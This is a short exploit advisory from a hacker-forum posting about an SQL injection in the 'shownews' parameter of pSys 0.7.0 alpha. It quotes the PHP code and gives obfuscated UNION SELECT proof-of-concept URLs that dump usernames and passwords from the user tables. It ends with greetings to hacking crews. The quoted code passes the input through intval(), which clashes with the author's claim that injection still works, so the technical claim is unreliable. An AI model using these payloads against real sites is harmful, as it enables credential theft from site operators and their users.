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#pSys - 0.7.0. alpha shownews SQL Injection
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#Bug by: h0yt3r
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#Bug in here:
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# if (isset($_REQUEST['shownews']) && $_REQUEST['shownews'] != "") {
# $sqlbefehl="Select titel from $tab_news Where id = '".intval($_REQUEST['shownews'])."'";
# $gettitel = mysql_query($sqlbefehl,$serverid);
# $news=mysql_fetch_array($gettitel);
# $pagetitle = $pset['systitle']." - ".htmlspecialchars($news['titel']);
# //Hit Count
# $sqlbefehl = "Update $tab_news Set Counter=Counter+1 Where id = '".intval($_REQUEST['shownews'])."'";
# @mysql_query($sqlbefehl,$serverid);
# }
#
#
#Ok, as we can see the script uses intval to convert the value of $shownews to an integer,
#so a normal Select Injection would return nothing.
#But it is still possible to inject and echo the right values using a simple CONVERT() or CAST() subquery.
#Make sure that your subquery returns only one row by setting limit n,1.
#
#In standard configuration the table prefix is "ps_". But it also can be somethin like "powie_"
#like it is set in version 0.69.
#Remember that you can use information_schema.tables when mySQL Version >= 5 for finding prefixes and names.
#
#And by the way Powie uses a nice password encryption style, so have fun with it:
#
# if ($checkuser == 1) {
# srand((double)microtime() * 1000000);
# $newpass = md5(uniqid(rand()));
# $pwd = substr($newpass, 0, 10);
# }
#
#SQL Injection:
#http://[target]/[path]/news/index.php?shownews=[SQL+SUBQUERY]
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#PoC:
#/news/index.php?shownews=-1'UnIoN/**/SeLeCt/**/1,CoNvErT((SeLeCt/**/CoNcAt(username,0x3a,pwd)/**/FrOm/**/powie_pfuser/**/LiMit/**/0,1),ChAr(99)),3,4,5,6,7,8,9,10,11,12,13/*
#/news/index.php?shownews=-1'UnIoN/**/SeLeCt/**/1,CaSt((SeLeCt/**/CoNcAt(username,0x3a,pwd)/**/FrOm/**/ps_pfuser/**/LiMit/**/0,1)/**/AS/**/ChAr),3,4,5,6,7,8,9,10,11,12,13/*
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#
#Greetz to thund3r, b!zZ!t, ramon, Sys-Flaw, Free-Hack and the great h4ck-y0u Team!
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